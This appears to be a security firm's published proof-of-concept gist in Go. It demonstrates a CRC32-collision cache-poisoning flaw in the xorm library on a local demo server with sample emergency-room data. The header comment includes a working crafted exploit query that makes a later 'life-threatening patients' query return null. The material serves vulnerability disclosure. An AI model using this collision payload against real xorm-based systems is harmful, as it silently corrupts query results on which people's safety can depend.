Created
September 8, 2025 22:50
-
-
Save DepthFirstDisclosures/b63b8838a57d05434208029220e64ff0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| /* | |
| Author: Mav Levin @ DepthFirst.com | |
| This is a proof-of-concept (PoC) for exploiting the | |
| cache poisoning vulnerability in the xorm golang library. | |
| If an attacker can a influence a session's SQL query string, | |
| they are able to influence all future sql queries and responses | |
| in that session. | |
| */ | |
| /* | |
| Quick Setup: | |
| 1. Execute `go run .` | |
| 2. Open http://localhost:8080/ | |
| 3. Execute the queries below in order. | |
| Notice that the *important query* returns false results. | |
| The query should return the patients that are in critical condition, | |
| (ie "Sam Sample" and "John Doe"), but retuns null. | |
| Queries to execute: | |
| 1. To show the database is read-only: `UPDATE er_visits SET diagnosis = NULL;` | |
| 2. To show the sql queries are valid before the exploit: `SELECT * FROM er_visits WHERE patient = 'Pat Patient'` | |
| 3. Malicious exploit query to poison next query: `SELECT * FROM er_visits WHERE patient = 'query that will lead to crc32 collision that will poison future queries!' -- ZkQXD` | |
| 4. *Important query* from victim: `SELECT * FROM er_visits WHERE life_threatening = 1;` | |
| */ | |
| import ( | |
| "encoding/json" | |
| "fmt" | |
| "hash/crc32" | |
| "html/template" | |
| "log" | |
| "net/http" | |
| "os" | |
| "path/filepath" | |
| "strings" | |
| "sync" | |
| _ "modernc.org/sqlite" // registers driver name "sqlite" | |
| "xorm.io/xorm" | |
| ) | |
| var ( | |
| engine *xorm.Engine | |
| sharedSess *xorm.Session | |
| sessMu sync.Mutex | |
| histMu sync.Mutex | |
| history []QueryRecord | |
| ) | |
| const ( | |
| dataDir = "data" | |
| dbFile = "open.db" | |
| ) | |
| func main() { | |
| // Ensure DB exists with sample data, then open read-only for serving | |
| if err := ensureDB(filepath.Join(dataDir, dbFile)); err != nil { | |
| log.Fatalf("ensureDB: %v", err) | |
| } | |
| eng, err := openReadOnly(filepath.Join(dataDir, dbFile)) | |
| if err != nil { | |
| log.Fatalf("openReadOnly: %v", err) | |
| } | |
| engine = eng | |
| sharedSess = engine.NewSession() | |
| mux := http.NewServeMux() | |
| mux.HandleFunc("/", handleIndex) | |
| mux.HandleFunc("/query", handleQuery) | |
| addr := ":8080" | |
| log.Printf("read-only DB server on %s", addr) | |
| if err := http.ListenAndServe(addr, mux); err != nil { | |
| log.Fatal(err) | |
| } | |
| } | |
| func handleIndex(w http.ResponseWriter, r *http.Request) { | |
| if r.URL.Path != "/" { | |
| http.NotFound(w, r) | |
| return | |
| } | |
| preview, _ := previewRows() | |
| // snapshot history newest-first | |
| histMu.Lock() | |
| hist := make([]QueryRecord, len(history)) | |
| copy(hist, history) | |
| histMu.Unlock() | |
| // reverse for newest first | |
| for i, j := 0, len(hist)-1; i < j; i, j = i+1, j-1 { | |
| hist[i], hist[j] = hist[j], hist[i] | |
| } | |
| mustRender(w, indexTpl, map[string]any{ | |
| "Preview": preview, | |
| "DBPath": filepath.Join(dataDir, dbFile), | |
| "History": hist, | |
| }) | |
| } | |
| func handleQuery(w http.ResponseWriter, r *http.Request) { | |
| switch r.Method { | |
| case http.MethodPost: | |
| if err := r.ParseForm(); err != nil { | |
| httpError(w, err) | |
| return | |
| } | |
| sqlText := strings.TrimSpace(r.FormValue("sql")) | |
| var resultSummary string | |
| var crcData string | |
| if rows, err := queryRowsString(sqlText); err != nil { | |
| resultSummary = fmt.Sprintf("error: %v", err) | |
| } else if b, merr := json.Marshal(rows); merr == nil { | |
| resultSummary = string(b) | |
| crcData = fmt.Sprintf("0x%08x", crc32.ChecksumIEEE([]byte(sqlText))) | |
| } else { | |
| resultSummary = fmt.Sprintf("<error marshaling rows: %v>", merr) | |
| crcData = "error" | |
| } | |
| rec := QueryRecord{ | |
| SQL: sqlText, | |
| CRC: crcData, | |
| Result: resultSummary, | |
| } | |
| recordHistory(rec) | |
| http.Redirect(w, r, "/", http.StatusSeeOther) | |
| default: | |
| http.Error(w, "method not allowed", http.StatusMethodNotAllowed) | |
| } | |
| } | |
| // queryRowsString reads rows via shared session prepared statements as []map[string]string | |
| func queryRowsString(sqlText string) ([]map[string]string, error) { | |
| sessMu.Lock() | |
| defer sessMu.Unlock() | |
| return sharedSess.Prepare().QueryString(sqlText) | |
| } | |
| // previewRows queries a small preview using the shared prepared session | |
| func previewRows() ([]map[string]string, error) { | |
| sql := "SELECT id, patient, age, diagnosis, life_threatening FROM er_visits ORDER BY id DESC LIMIT 5" | |
| return queryRowsString(sql) | |
| } | |
| // QueryRecord captures a query summary for history | |
| type QueryRecord struct { | |
| SQL string | |
| CRC string | |
| Result string | |
| } | |
| func recordHistory(rec QueryRecord) { | |
| histMu.Lock() | |
| defer histMu.Unlock() | |
| history = append(history, rec) | |
| } | |
| // Templates | |
| var indexTpl = template.Must(template.New("index").Funcs(template.FuncMap{ | |
| "add": func(a, b int) int { return a + b }, | |
| }).Parse(`<!doctype html> | |
| <meta charset="utf-8"> | |
| <title>Read-Only Emergency Room Data</title> | |
| <h1>Read-Only Emergency Room Data</h1> | |
| <h2>Try a Query</h2> | |
| <form action="/query" method="post"> | |
| <div> | |
| <label>SQL</label><br> | |
| <textarea name="sql" rows="4" cols="80" placeholder="SELECT * FROM er_visits WHERE patient = 'Pat Patient'" required></textarea> | |
| </div> | |
| <button>Run</button> | |
| <p> | |
| <small> | |
| Columns: <code>patient</code>=name, <code>age</code>=years, <code>diagnosis</code>=notes, <code>life_threatening</code>=0/1. | |
| <br> | |
| Example: <code>SELECT * FROM er_visits WHERE patient = 'Pat Patient'</code> | |
| </small> | |
| </p> | |
| </form> | |
| <h2>Preview</h2> | |
| <table border="1" cellpadding="6" cellspacing="0"> | |
| <tr><th>id</th><th>patient</th><th>age</th><th>diagnosis</th><th>life_threatening</th></tr> | |
| {{range .Preview}} | |
| <tr> | |
| <td>{{index . "id"}}</td> | |
| <td>{{index . "patient"}}</td> | |
| <td>{{index . "age"}}</td> | |
| <td>{{index . "diagnosis"}}</td> | |
| <td>{{index . "life_threatening"}}</td> | |
| </tr> | |
| {{else}} | |
| <tr><td colspan="5"><em>No rows</em></td></tr> | |
| {{end}} | |
| </table> | |
| <h2>Query History</h2> | |
| <table border="1" cellpadding="6" cellspacing="0"> | |
| <tr><th>#</th><th>SQL</th><th>Result</th><th>CRC32</th></tr> | |
| {{range $i, $r := .History}} | |
| <tr> | |
| <td>{{add $i 1}}</td> | |
| <td><code>{{$r.SQL}}</code></td> | |
| <td><code>{{$r.Result}}</code></td> | |
| <td>{{$r.CRC}}</td> | |
| </tr> | |
| {{else}} | |
| <tr><td colspan="4"><em>No history yet</em></td></tr> | |
| {{end}} | |
| </table> | |
| `)) | |
| func mustRender(w http.ResponseWriter, tpl *template.Template, data any) { | |
| w.Header().Set("Content-Type", "text/html; charset=utf-8") | |
| if err := tpl.Execute(w, data); err != nil { | |
| log.Printf("template exec: %v", err) | |
| } | |
| } | |
| func httpError(w http.ResponseWriter, err error) { | |
| log.Printf("error: %v", err) | |
| http.Error(w, err.Error(), http.StatusBadRequest) | |
| } | |
| // ensureDB creates and seeds the DB file if missing | |
| func ensureDB(path string) error { | |
| if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { | |
| return err | |
| } | |
| // Always recreate DB for this PoC; remove any previous files (and sidecars) | |
| _ = os.Remove(path) | |
| _ = os.Remove(path + "-wal") | |
| _ = os.Remove(path + "-shm") | |
| // Create & seed with a writeable connection then close | |
| eng, err := xorm.NewEngine("sqlite", fmt.Sprintf("file:%s?cache=shared&mode=rwc&_busy_timeout=5000", path)) | |
| if err != nil { | |
| return err | |
| } | |
| defer eng.Close() | |
| if _, err := eng.Exec(` | |
| PRAGMA journal_mode=WAL; | |
| `); err != nil { | |
| return err | |
| } | |
| if _, err := eng.Exec(` | |
| CREATE TABLE IF NOT EXISTS er_visits ( | |
| id INTEGER PRIMARY KEY AUTOINCREMENT, | |
| patient TEXT NOT NULL, | |
| age INTEGER NOT NULL, | |
| diagnosis TEXT, | |
| life_threatening INTEGER NOT NULL -- 0=false, 1=true | |
| ); | |
| `); err != nil { | |
| return fmt.Errorf("create table: %w", err) | |
| } | |
| // Seed some example ER-style data | |
| type row struct { | |
| patient string | |
| age int | |
| dx string | |
| lt int // 0/1 | |
| } | |
| inserts := []row{ | |
| {"John Doe", 45, "Chest pain, rule-out MI", 1}, | |
| {"Jane Doe", 37, "Hyperglycemia, Type 2 Diabetes", 0}, | |
| {"Alex Roe", 29, "Asthma exacerbation", 0}, | |
| {"Sam Sample", 54, "Severe headache, possible SAH", 1}, | |
| {"Pat Patient", 41, "Injury to forearm", 0}, | |
| } | |
| for _, r := range inserts { | |
| if _, err := eng.Exec( | |
| "INSERT INTO er_visits(patient, age, diagnosis, life_threatening) VALUES(?, ?, ?, ?)", | |
| r.patient, r.age, r.dx, r.lt, | |
| ); err != nil { | |
| return err | |
| } | |
| } | |
| return nil | |
| } | |
| func openReadOnly(path string) (*xorm.Engine, error) { | |
| // Open in SQLite URI "ro" mode to enforce read-only at connection level | |
| return xorm.NewEngine("sqlite", fmt.Sprintf("file:%s?cache=shared&mode=ro&_busy_timeout=5000", path)) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment